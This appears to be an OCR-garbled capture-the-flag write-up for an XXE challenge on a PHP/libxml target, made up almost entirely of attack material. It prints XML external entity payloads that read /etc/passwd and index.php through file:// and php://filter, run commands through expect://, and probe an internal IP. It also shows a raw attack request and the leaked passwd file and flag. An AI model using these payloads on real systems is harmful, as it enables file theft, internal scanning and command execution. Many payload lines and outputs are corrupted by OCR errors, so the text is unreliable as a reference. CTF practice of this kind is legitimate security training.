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PHP 7.0.30
Libxml 2.8.0
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file 1%, file://letc//passwd
php #1%, php:/filter/read=convert.base64-encode/resource=index.php

<!DOCTYPE root[
<IENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
1>

<root><name>&xxe;</name></root>
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<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE xxe [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >
1>
<root>

<name>&xxe;</name>
</root>
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<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE xxe [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>

<name>&xxe;</name>

</root>
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<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE xxe [

<!ELEMENT name ANY>

<IENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>

<name>&xxe;</name>

</root>
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POST /simplexml_ load string.php HTTP/L.1

Host: node3.buucj.cn:lg93sl

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:86.0)
Gecko/20100101 Firefox/86.0

Aoocept:

=8

Aocept-Languags:

zh-CN, zh;q=0.8, 2h-TW; q=0.7, zh-HK; q=0.5,en-U3;g=0.3,en; g=0.2
Aecept-Encoding: gzip, deflate

Connection: close

Upgrads-Insscure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/x-www—form-urlencoded
Content-Length: 178
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<?@ml wersion="1.0" encoding="utf-8"?2>
<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwud]’ >
1>
<root>

<name> &MKe; </ name>
</root>

SR 1 B it flag it £ phpinfo BL T SR~

text/html, application/xhtml+xml, application/xml; q=0.9, image/wehp, */ *;q=0.

HTTP/1.1 200 OK

Host: node3.buuci.cn:29351
Connection: close

¥-Powered-By: PHP/7.0.30
Content-type: text/html; charset=UTF-8

root:x :root: froot: fbinfbash

daemon : :1:daemon: fusr/sbhin: fusrfsbinfnologin
bin:x:2:2:bin: /bin: fusr/sbin/nolegin
sys:x®:3:3:8ys: fdev: fusr/sbhinfnologin
sync:x:4:65534:synce: fbin: fbin/sync
games:x:5:60: games: fusrfgames: fusr/sbin/nologin
man:x:6:12:man: fvar/cache/man: fusr/sbhin/nologin

p: fvar/spool/lpd: fusr/shin/nologin

:mail: fvarfmail: fusr/shin/nologin

news:x:9:9:news: fvar/spoolfnews: fusr/shin/nologin

uucp :x:10:10:uucp: /varfspoolfuucp: fusr/sbinfnologin
proxy:x:13:13:proxy: /bin: fusr/shin/nologin
www-data:x:33:33 :www-data: fvar fwww: fusr/sbhin/nologin
backup:x:34:34:backup: fvar/backups: fusr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list: fusr/sbin/nologin
ire:x:39:39:ired: fvar/runfired: fusr/sbhin/nologin
gnats:x:41:41:Gnats Bug-Reporting System

(admin) : fvar/1libfgnats: fusr/shin/nologin
nobody:¥:65534: 65534 :nobody: fnonexistent: fusr/shin/nologin
_apt:x:100:65534: : /nonexistent: /bin/false
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PATH Susrflocal/sbin:/usrflocal /bin:fusr/fshin:/usr/bin:/sbin:/bin
HOSTNAME 9ce208dd392¢

- flag{246a67e3-14d9-4345-bbed-B74629ced0b2}
PHP_INI_DIR fusrflocal/etc/php

HOME froot

DHD \/ariahlac
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